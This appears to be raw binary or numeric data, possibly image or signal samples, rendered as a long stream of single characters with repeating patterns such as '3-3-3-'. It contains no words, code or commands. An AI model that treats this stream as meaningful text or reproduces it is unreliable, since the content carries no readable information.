^W`W`WaXaXaXaYbXbYcZcZcZdZc[d[d[d\f\f]g]f^h^h_h`i`hajaibkbkbkbkblcndndndoeofpfpgpgrgrhqhqirjtjtkukvlvlvlwmwnwnzozo{q{q{q|r|r}s~uuuvvvwxyy{{|{|}}´¶ĸŹƺǺȼɽɽʾ˿˿˿ʾɼȻǺŹĸķ}~y{vytvqtpsormqkoingkfjfhdfcc_a^_\][\Y[XZWXUXTWRVRTQSOQMOLMJLHKGHEHCDBA@>>=<=<::8786644332211//.++))((&&%$##"!!     ! #!%#'%(&)(**,,/.0/2143546587:9<:><?=A?C@EBFDHFJHKILJMKOMQOSPURVSWTXUZX]Z_\a]c_eaeafcgdheigkhmjokpmtoupwrzs{uwz}µöķŸǹǺȼɾʾ˿̿˾ʽʼǻŹŹĸ÷µ~~~|{{zzyxxwvvuu}t}s}s}s}s{qzpzpypxnvmwmvmvkuktkuksktjsjrirhqhpgofofnfmdmdkckbjajajahai`h`h`h_g_g^e]f]e\d[d[c[dZcYcYbY`Y`X`X`X_W_W_W_V_V_V^U^T^T\SZS[R[R[R[RZR[QZR[QZQYPZPXPWPVOVOVOVOUNUNVOUNUNUNTNTLSLRKRKQKRJQJQJQJQJRJPJQJQJPIPHNGPGOGOGOGOGPGNGOGOGOGOGNGNFNFNFNFNFNFNFOGNFNFNFNFNFMELDLDLDLCLDLDLDLDLDLDLCLDLDLDLDLCLDLDLDLDLDLDLDLDLDMDMENFNFNFNFNFNFNFNFNFNFNFNFNFNFNFOGOGOGOHPHOHOGPHPHQHPHRIRIRJRJRJRJRJRJSKSKSKSKSKTLTLTMUNUNUNUNVOVOVOVOVOWPWPWPWPZQZR[Q[Q[R\R[S\S\S\S\S\U^S^T_U_V_V`W`X`W`X`XaYaYbYbZcZc[c[d\d\f\f]g]g^h_i`i`i`k`jajajbjblclcmdneofogpgpgqhrhsjtjtkukulvlvlwnxmxnynyozozpzq{q|r|s~t}t~uuuvwxxyzz{|}~¶÷øĹĹźƻȼɽʾ̿ʾʾȽǻǻǺƹĸ÷|z|wzsxqvounsmqknilgjfhdfbdac`a^`]`[^Y]XZWZUWSVRTPSOSNPMPKMJIHGFFDECCAA??>><<;;::9976543210//.--++))('&&%$$""!!     "!$#&$(&)(,*-+0-2.2/42648597;8=:><?=A?C@DBGCHDIFKHNJOLQMSOTPUQVSWUXVZY[Z][^]a_caebgdifkglhmiolpmrotpvqytzu}wy|øƺƺƺȼɼʾͿ˾ʾʽɼȼȺƹƸķ͵~}}||{zyyywvuu~u~t|s|s{rzqzpxpynvnvmvmuluksksjrjriqipgpgofofofmeneldkckcjbjbjbiahah`g`f_f_f^d\d\c\c[b[c[aZ`Y`Y`X_X_X_W^V^V^U^U]T]T]T[TYTZSXTYSXRXRXQVPXPVOVNVNUNTMTMTMTMTMTLTLSKSKRJRJQIQIPIOIOINHOHMGNGMGNFMFLFMELFLELFLFLELFKDKEJDKDKDKDJDJCJDJCJBIAIAIAIAIAIAIAIAIAI@H@H@H?G?F?G?G?F?G?F@G@G@F?G?F?G?F?F>F>E>F>E?F>F>F>F>E?F>E>F>F>E>F>E?F>F>F>G?F@G?F?F>F>F?G?F@G?G?G?G?F@H?G@G@G@G@H?H@IAIAIAIAIAIAIAIAJBJBJBJBKCKCJDKCKDKCKDLDLELFMELFMEMFMFMFMFNFMGNGNGNHOHNHOHOIOIPIPJRJSKTKTKTKUKTLVMVMVMVMVNXNXNXOXOXPXPYQYQZSZSZSZS[T[T[T\U]U^V^V_W_W`X_X`XaYbYbZcZc[d\d\e]e]e]f^g_f_g`i`iajajbjbkdkdlelenfofofpgphphqirksjskululvmvnwowowpxpyp{q{r|s|s}t}u~tvvwxzzz{|}~~¶÷øŹǹȺɻʼ˾̿̿˿ʾȼǻƻŹĸ÷}z~w{vytxrtpsnplnjmijhiggcfbe`d_a^_\^Z\XZVWUVTUQTPROPMOLNKMIJGHFFDECCAB?A>>==;;9:7755443310/0..,,**))''%%#!"      " %"%$'%)'+)-*.,1.30416284:6;8<9>;?<B>D@EBGCHEKHMIOKOKQMRNTPVRXTXTZV\X]Z^\_]`_b`daecgdjgmjokpmqmrntpuqxt{v~xz}ùĺŻǽȽɾɿɾȼǻƺŹĸķöµµ~~}}|{{xyxwvv~v}t|t|s{ryrzqypxowovnvmumtltksksjqjqiphohogngoflflekdkdjbibiah`h`g_f_f^d]c\c\c\c[b[bZaZaY`X_X_W^W^W^W]V]U[U\T[TZTYTYTYSYRXRXQWPWOVOVNVNUNTMRMSMQMRLQLQKRKPJQJPIPHOHOHNGMGMGMGMFLFLFMELELDLDKDKCJCICIBIBIAHAHAH@H@H@G@G?G?G?E?E?E>E?E>E>D>D>D=D=D>D=D=D=C<C<C<C<C<C<C<C<C;B;B:B:A:A:@9@9@9@9@9@9@9A:A:A:A:@:A:@9?8?7?7?7?8?7?7?7?7?8?7?7?7?7?7?7?8?7?7?7@8@9@8@8@8@8@8@9@9@9@9@9@9@9A:@:A:A:@:A:A:C<C<C<C<C<C<C<C<C<C<C<C<C<D=E>F>E?F>E>F>F?F?G?F@G?F?G?H@G@H@G@H@HAHAIAHAIBIBIBIBJCMDMEMENEMENFMFOGOGOGOGOHPHPHQIQJRJRJRKRKSLTMTNTNTNTOUOUOVOWPXQXQXRYRYSZSZS\T\T\T\U]V]V^W^W^W_X`Y`Y`YaZc[c[d\d]d]d]e^e^g_g_h`haiaibjckdlelfmfnfngphpiqiqjqjrjsktltlumvnvoxnxoypzq{r|s|t|t~u~uvwxyzz{|}~~´õĶŸƹƺǺǻȼʾʿʿɾȽǼƺŹĸ÷µ}~x|uyswquproqmoknilgjeheebc`b_a]^[\Z[XYVXUXTVRUQTPQNPLOKMJKGIFIEFCDAC?@=?<=:<9:7857452302.0-/,,))(&'$%##""     !"% &"'#(&+(-*.,1.30425385:6;7<8=:A<B=C?FBHCIEKGMIOJPKRMTOTPUQXSYU[W^Y`[`\a]d^e`fbfdhfigkhmjolqmspuqvrxszu}x|÷ĸŹźƻǽȾɿ˿ʾɽȼǻƺĹĸ¶µ~~}}{zzxxww~v~u}u}r{s{rzqxqyowownvnumtlrlsjqjripiphognfmfmeleldjcjcibhbhagah`f_e_e^d]d\c\d\b[aZaY`Y_X_W]W]W]W]U[T\TZT[SYRYRXQVQWQVPVOUOTNTMSMSMRMQMQLQLQKPJPJOIOIOHNHNHNGLGMFLFLFKEKEKDKDKDJCJBIBIBHAFAG@F@F@F?E?F?E?E?E>D>E=C>C=C<C<C;B;B;B;B:B:A:A9A9@9?8>8>8>8>8>8>8=7=7=7=7=7=7=7<5<5<5<5<5<5<5<5<5<5;4;4:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:29292929292929292929292929292929292929292:2:2:2:2:2:2:2:3:3:3:3:3:3:3:3:3:3:3:3:3:4<5<5<5<5<5<5<5<5<5<5<5<5<5=7>8?8>8?8>8?8?9?9@9?9@9@9A9A:A:A:A:B;B;B;C;C;C<C<C<C<C=F=F>F>G?G@G@G@G@HAHAHAIBIBICICJCJCLCKDLELELFMGLHNGMHNHOIPJPJPKPJPKPKRKSLSMTNTMTNTNWOVPXQWQWQXRZSZSZSZT\U\V^V]W^W^X_X`Y`Y`Ya[a[b[d\e]e]e^f`f`g`gaiahbjcjcjdkelenfmfogogpiriqjrjsktlumunvnwoxoypxqzrys{s|t|u}uvwxyyz{|}~õ¶ķĹźǻȼɾɾʿ˿˾ɽƻǺŹ÷¶}z|wytwrupsnrlplnikhifhcebdab^`]_[^[^Y[WZVYTWRUQTPSNQMPLNIMHJFGEGCDAC@B>@<>:<8:6847351301/.-,+**))'&%$#"!!         !" #!&#'$)','-(.+/,2.40528596:8<:?<B=C>D?FAHCIDKFNIOJPLRMSOUPWRXT[U[V]X^Y`\b]d_fahdjekflgmjmjolomrouqxtxtzu~y|ùùŻƼǽɾ̾ʾɽȻƺƹĸø·¶~~~}}|{zyxw~v}u|t|tzrzrypypwownvnvltltlsjqjripiripiohnglgmelekcjcjbiah`h`g_f^e]d]c[c[a[a[aZaY_Y^W^W]V]V\V]U[T[T[SYRYRXQXQWQWQWPUNVNUNUMSMSLRKQKPIPIPINHNHMGKGKFKFKFJEJDJDICICHBHBHAGAGAGAFAG@EAF?E?E?E>D>E=C=C=C<B;A;?;@:?:?:?9>9>8=8>8>8<7=7=7=6=5=5=5=4=4<4<3<3;3;2;1;2928281818181818181818181818170707/707/7/707/707/6/6.6.6/6.6/6.6.6/6.6/5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.6.6/6.6.6.6.6/6.6/6.6.6/6.6/707070707070707070707070707181818181818192929292929292;3<3<3<4=4=4=4=5=5=5=5=5=5>7>7?8?8@9@9A:A;A;A;A;A;B<B<B<C=D=D>E=D?F>E?F@G@EAHAGBHBHCHCICHDICICIDLELFMGLGNGNHNHPHPIQJQJQJRKSMSMTMTNVOVOXPVQXRXRXSYSYTZSZTZU\U\V^W]X_X_Y_ZaYa[bZb\c\d\d]e^f_g`g`h`iaiblckdlemenfnfngohpiqirjqjslrltmununvoypyqyq{r}s}t}t~vwxxyz{|}}~øøĹźǻȼɽʾ˿˾ȼǻŻĹ¸¶¶z~x|v{txruornrnolmikgjehdgbead_b^b\_Z]Y\W[VYTVRWQUOSMPKMJMIKGJFHDFBFAC?A<?;>9<8;7856442311//-++*)(('&%$##"      "#!$#'%('*)-*/,0-3.4051648697;9><?=@>B@EBIDJEKGMHOJPKQMSOTPVRXTYV\W]Y`\c^c_f`gbhcjekgmhnkqlrmtovqxrytzu}wy{µöķĹûżǾȿɿ˿˿ʾȽǻƺƸķķµ~~}|{zyyxwv}u}t|t{rzryqyqwowovnvntltlsjsjqjqiphpgnfmemdkdkcjbjahah`g_f_e]d]d\c[c[bZaYaY`X`X`W_W]V]V[U[U[T[SYSXQXQWPWPVOVNUNTMTLSLRKPIPIPIPIOHNGNGNGNELELEKDJCKCJCJCIBHBG@GAF@E@D?D?D?C>C=B<B<B;A:A;A:@:?:@9>:?9>9>9>8<7=6<6<6<5;4:494938383937271617171617070707070707/7/6/6/6/6/6.5-5-6.5.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,2,2,2,2,2,3-3.3.3-3.3-3.3.3.3.3-3.3-3.3.3.3.3.3.3.3.3.3.3.3.3.3.5.6.6.6.6.6.6.707070707070808181819292:3:4:4:4:4:4;5;5<6<6=6=7>6>8?8?9?:@:?;A:@;A;A<A<B<B>C>D?D?F?F@G@FAHAHBHBJAJCLDKDKDLDMFLFMFMGOGOHPHPIPJPJQKQKQMRLSMTNUOVPWPWRXQYRYT[TZU\U\V]V]V^W^W`YaYaZbZbZbZd\d\e]f^f^g_h`hbjbjckckemelfngohoipirisktlulwmwnxnxpxqyqyrzr{t|u}u~u~uwxxxz||}~·ŹŹƺǼǼɿ˿ɾȼǻǻƺù÷y}wzuwruountmrmpklilgjfjehcead_b]a\^Z^X\W[UWSURTPSNRMPKMJMHJEHCFBE@C?@>><<::89776532110/.-,,+)*('&%$##"!   " #!%#'%)&*(,)/+0-2/4063748698;:=;>=@=B@DBEDFFIGLIPJPLRNSOUQWSWTYV[X]Y^[`]b^e`gbidjfkhlhnkplrnsosotqws{v~xz~÷ŹƺȻɼʽ˿˿ʾɼȼǺǺŹķ¶~~}{{zyyxwvuu~s}s|r{pzoypwownvmvltktjrjqiqhqhpgoeoeneldkckbkbi`i_g^f]e]d\d\c[c[cZbYaX`X`X_V_V^T]S[T[SZRZQZQYPXPVOVOUNUNUMTLSLSKRJQIPIOGOGNFMEMEMDKDJBJBJBJBIAI@I@H?H?F>E>E>D=D<D<C;C;B;A;@:@9?8?8?8>7=6=6=5=5<4<4;4:382828282717070606/6/6/6/5/4/4/4/4/3.3-3-3-3-3-3-3-3-3-5-5-5-5-4-4-4-5-5,5,5,5,4+3,3-3-3-3-3-2,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.4.4.4.4.4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,4,4,4,5-5-5-5-5-5-5-5.5.5.4,4-4-5-5-5.5.5.5.5.5/6/6/6/7/70707071818292939393:4:4:5;5;6<7<7>8?8?9@9@:@:A;B;C;C;D<E=E=E=F>F?H?H?H@I@JAJBJCKDKDLELFLFMGNGOHOHPIPJQKQKRKTLTNUNVOVOWPXPYPYQZRZR[S[S]T^U^U_V_W`XaYbYcZc[c[e]e]e]g_g`g`iajbkbkbndoeofqgshrhrirjrksktlumwnxoxpzo{p{q|r}s~t~u~vwwxzz{|~}¶¶¶ŹźƻǼɽɽʾ˿ɿɽǼǻĹø··}y~w{tyrvqspqnpmokmilhjfhcgadad_b]`[^Z[XYVXTWSUQSPSOQNOKMILHJFHEFBCAA?@=><<:988765433210..--++*)((&&%$$""   ! #!%#'&)'+)-+/,1.30627395;7<8=;><?=B?CAEBHDIGJHLJMLPNRPUQVRWTYVZW]Y^Z`\b]d_fagciekfmhojplqmrnupwszt{v|w}y|·øĹƺǻɽʾ˿˿˽ɻɺǺŹķĶ}~}{zyywvuu~t}s|r{q{pzoyoxnxmwmuktjtjsiqiphpgoenemdlcjbjaiah`g_g_g^e\d\d\c[bZbYaW`W_V^V^U^U]T]S\RZSYRYQXPXOWNWMUMTLSKSKRJQIQHOHNHNGNFMELELDKCLCLBIAIAH@H?G?H?G>E=D=D=C<C;C;B;B:A:A9A8?8>7=6=5=5<4<4;4:3928282818180707070706/6.6.4.4.4.3.3-3-4.4.3-3-3-3,3,3-2-2-2,1,1,1,2,2,2,2,2,2,2,3-3-3-3-2,2,2,3-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2-2-2-2-2-2-2-3.3.3.3.3.3.2-2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2-2-2-2-2-2-2-2-2-2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3-3,3,3,3,3,3,3-3,3,3,3-4-4-4-4-4.4.3-3-3-3-3-3-3-2+2+2+2+2+3,3-2,2,2,3,3-3-3-3,3+3,3-4-4-4-3-4.4.4/4/5/4/4/5050517181929393:4:4;4;4=5>7?8?8?8@8A:A9B:B;C;C<D<D=E?E?E@F@F@GAGAIAIBJCJCKDKELEMFMGNGOHOIQIRJRJRKSLTMTMTNWNXOXPYQYRZSZS\S]T]U^V_W_W_XaXaYbZc[d\e\e]g^g_h_j`kakalcldlemenfogpgritjtjukulwmxmynxoxpyq{r|s}t~tuwxxyz{||}~¶÷ĸƺǻȻʽ˾˿ȽǼƻǺƹŸĶöµ}z{vxtwtvrtproplnjlikgjeicfbc`a^`\_[]Z[XYVYUVSUQTOSNQLNKMIJGIEGCEBC@@>?=<;:98776644332200/.-,**('&&%%#"!!      !!##%$&&)(+),+/-0/315274:7<8=9@;B=C>D@FBGCIEKGLIOKQMROSQUSWUYVZW[Y\Z^\a^c`fagbidlfngoipjrkumvowqys{u~wz~µöķƹȻɻɼɾʿ˿̿ʾʽɼȻǺŹĸöµ~~}{zyxxwv~u}t}s|r{pzoyoynxmvlvkuktksirhrhqfnemdmdlckbjai`i_h_g]f]e[d[cZaZaZaY`X_W^W^V]U]T\S\RZQZPXPVOVNUNTMTLRLRKRKQJQIPHOHNGMFLELEKDKCJBIBIAH@H?G?F>F=E<E<D<B;B;A:@9@9?8?8=7=7=6<5<5;4;4;4:3:2:2818170707/6/7/5/5.5.5.5.4.4-4-5.5.4-4-4-4,3-3-3-3-3-2,2,3-4.4-4-4-3-3,3-3-3-2,2,2,2,2,2,2,2,2,2,3-3-3-3-3-3-3-3,3,3-4-4-4-4-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2-2-2-2-2-2-2-2-2-2-2-2-2-2-2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2-2-2-2-2-2-2-2-2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,2,2,3,3,3,3-3-2,2+3,3,3,3,3,2,3-3-3-3-4.3-3-3-3-3-3-4-5.5/5/5/6/6/6/8070918191:2:3;3;4<5<5<5=6=6=8>9>9?:?:?:@;B<B=C=C>D?D?E@G@G@HAIBICJCKDKDKELFMFMGNGOHQIRJRKSKSLSMUMVOVOWPXQYRYR\S\S]T]U^V`V`WaXbZbZc[d[e\e]f^g_h_i`iajakbldmdneofpgqgrisjtkukulwmynynzpzp|r}r~s~tvwwxxz{{}~¶÷ŹƺǺȽʿ˿̿˾ʽɼȻƺŹŸķö}}zzvxtwrtprnplojnikggegbebe`b_`^^Z[X[WZVXUVSTQTOQNPLOJMIKGGEGCDBB?@>><=;;9:8966442311/.,,**)''%$$"#!!    !" #!&$(&('*)++--0/1032537597;8=:A<B>E?GAICKDLFNHOIPKRMTOVQXTYV[X]Y_[`]a^cadbfdhejgmioirktmvnxozp{r|s~ux|µöķŹǹɻɻ̽˿ʾʾɽȼŻĹ·¶~}|{zyyx~w}v|u{s{rzqypwpvoumultltksjsisirgpfpeoemdmdlbkajah_g_g_f]e\d[cZcYbXaV`V_U^T]T[TZUZTYSYRXQXQVNVNVMULTKTJQJOJMIMHLGKFKEJDKEKEJDICIBHAG@E@E?D>D>C<B;B;B:A9A8@7?6>6<6;5:5:49382727171616160505/5/5/5/5/5.5.4.4-3-3-4-3-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-3-4-3-4-4-4-5/5/5/5/5/5/6/7273838484849595:6;7;7<8<8>9A:A:B;C<C<D=D>D>D>E?FAGAGBICKCLDLDMENFNGNGOIOIPJPKRLSLVMVNWNXOXPZPZR[R\T\U]V\V^W_X`XaYbYbZc[d\d\e^g_h_iaiajbkcmdneoepgrhrhsisjtjukwlxmwmwpxqyrzr{s|t}uvwxy{{|}~~¹øƸǻɽȾȿʿɾȽǼźĸ÷¶~z}x{txrvpsnqmoknjmikghefbfac`b^`\^[^Z[XZVYUVRTQSORMOKNJKHJFGDEBDAC?@=?;<:<8968552311/.-,+*))()''%%"$!!         "#!$"'#(&*(-*.,0-103253657698;9=;@=B?E@HBJELFNHOIQLRMSOUPVRYSZV]W_Za\c^d_fagbgcifkhmjnkrmtowqyr{s|t~wy}¶ĸŹƺȼȼʾ̿ɿȽƻƺŹø~~}|{yyxwv}t|s|rzryqxpvoumtmtlskrjqiohngngnfmelclckbjai`h_f^f^e\d\cZbZaYaY`X_V^U]U]S\SZQZPYPXOWNUNSNSMRLRKQKQJOGOGOFNEMDMDLCKCICHCGAF@F?E>F>E>E=D=D<C;B:?:>9=9=7;6;5;4;4:3:2928181605/5/4.4.3-3-3-3-3-3-3-2,2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,2,2,2,2,2-3/3/4/4/40504040405151626293<5<5=6=6=6>7?8?9@9@9A:B;B<C<D<E>F>G@GAGAHBICICICJDKELEOFOGQHQIQJSJRKTLUNUOVOUOXQXRZS[S\T\U]V]V^W_XaYbZc[c[d]e]f^g^h_jakbkblcldmenfqgqhqhrirktltmununvoyqzr|r}s~u~uvxxyz{|}~²ĶķĶøĻƿȻ˼ʾʾɽǻƹĸ÷µ´|xzuwsurtqtproolminikgicfad`d_c^`\^Z\X[WYUVRTQTPQNNLNKLIJGHEFCEAB@B>?<>:;997866442100//-.++()''%%##!!    !#!%#'%('+),*.-0/3042547698;:><?=A?D?EBHDJFMHOIPKRLTNUQVRVUXWZX[Z^[a\c^f`gbickelfnimipkrmuovqzs|u}vy|ĸĸŹǻȽʿ˾ɽǼǻźĸĸ÷µ~}|{zxwwv~u}t|r{qzoypyowmvltltkrjpipgofofnemdkckbjajah`g_f^g]d\c[bZbYaX`X`V^U^T]S[SZSYQXQWOVNUMTLTLSJRJQJPHOGMGNFMELDLDKCKAI@J@I?H>H=G=E=D=C=C<A:A9?9?7>6>6>5=5>5;4828272706/6/6/6/6/6.5-5-5-4-3-3-3-3-3-2,4.4.4.4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-3-3-3-3-3-3-2,3-3-3-4.4.5/6.8/8/809090:1;3;3;3;4<4<4>5?6@7A9B:C;C;D<D<D=E>F?F?F@I@I@JAKBKCLCLDMENGOHOHNHQJRKSMTMUNWNWOXPXQZRZS[T^T]U_V`W`XaXbYc[d\d\e]e^h_g`jajbkckcldmfnfpgqhqisjtkvlxnynzozp{qzr}s}t~uvvwyz{{}¸ŷǹ˾˾ʽ̽ͿʾɽȽǻƹŹĸ¶µ}}y{vytwsvrsormpjojmhkehbgad_b^a]`[]YZXYVWUTSTRQPPNNLMJKHJGJEGCEAA?A>@<=<;8978563411/.-.++))('&%%#!!      " #"$#'%)(,*-,.-1/32437597:9;:=<?=B@FCGEIFKHMIOKQMSNTPVQXSZUZWZY\\]]__b`dbfdidlgnipirksmuozs{t|u|v~x{~¶ŸŹƺǻȽʿο;˾̽ɼȻǺŸ÷µ~}{zyxw~u~u}t|s{q{qzqypxnwnvluktjrirhpgofmfmekcjbi`i`g_f]e]d\c[bZbZaZ`X_W`V_W]U]T\T[RZRZPXOWOUNTMTMSKQJPIPHNGNFMELDKCKCJBI@GAH@G@F>F=E=E:C;C9C9B8B7@7=7<6;5;4:3:2929080708/7/8/6/4.3.3.3-3-3-3-3-3-3-3-3,2,3-3-3-3-3-3-4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,2,2,2,2,2,3-3-3-3-3-4.4-3-3-3-4.4.4.4-4,4,5-5-5-5-5-6.6.6/6/7/7/9090:0:2;2;3<4<5=6=6>7?8@9B:C;C;E;E;E=G=E>G?G?HAH@HBKCLCMENGNGPHPIQIQJSKTLTMWMVOXNYQZR\R[T^U_V_W`X`YaYaZc[d\d\e]f^g_h`i`jakcldneofqgshtitjtktlvmwnxpyp{q{r}s~t~tuwxzy{|~~·øøŸƹǻɼɽʾʾʿɾǼǻƺŷĶô´|z|vzsxrxqvosmqjmhkfidhcfad_a^_]]\[ZZYXWWVVTTQROPMPKMJKHHFGDFCEAC>@>?<=9:786545220/.--++))('&&$$""!      !!$#&%(&)(**.,0/3042548598;:<;?=@?AACBFDJGMIOKQMRNSPURWSXT[W]X^Z_[`]a`acddffhgkimjplsmvoxpzq|t~vwz}´¶ĸŹǻȼʾ˾˿ɿɾȻǺƹŸķöµ~}|{zyxwu~u~t|szqypxpyovmwltksksjqhrgofodndlclbiai`g`g_f]d\c[c[bYaX`W`V_U^T]T[SYRXQXQXPVOUMUMTMSKRJQHPHNGMFMEKEJDJCIAH@F@G>E?D>D=C<C;@:A:@9?7?7>7>3<4<3<2;1;090706/6/6/5.5.5.5.5.5.4-4,4,3,2,2,3-3-3-3-3-3-3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,4,4+4+4,4,4,4,4,4,4,4-4,4-4-6-6-6-7-7-7.8.7/8/8091:2:2;3<4=4>5?6>7@7?8A9A9A;B;A<D<E=H?I@IAJAJCKCKDLDMENFPGPHQHRJSKTLUNUNWOXPYQYRZSZT[V]V^V_W`XbYbYcZd\d\g^h_h`kalbmcmcmemfpgqhqitjtjtkwmynynyo{p|r}t~t~tvxxxz{|}}µöŷŸƺȻɽʾ̿̽ʻɺǹƸŶõ´~zw|u{txruormpkojmikghegddbc`a_^^]\[ZYXXVVTURTPRNOMNKMILHJEGDGBC@@>><=:;9976543110//--,**(('%%$$""!     !!#!$#&%('*)-+/-1.20527486:7<9>;@>B@DBFDGFIGKIMKPMROTPVRWSYU\X]Z^[b]c_dafbhdhgijkkmlpmrouqys|u~wxz|~³ĶŹƺǻȼɽʾ̿ʿɿȿǽżŻĹ¶}}|zyxxvu~t}s{r{qzoxoxnvmtlskrjripgofnemeldkckai`i_g^f]e\c[c[aZaY`X_W^V]U\T[RZRZPXPXOVNSMSLRKRKQJPHNGNFMEKDKCJBJAH@F@G?E?D>C=C<B:@:A9>9>8=7=6<5;4:3:292918080807.7.6-6-4,3-3-3-3-3-2,3,3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-4.4.4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3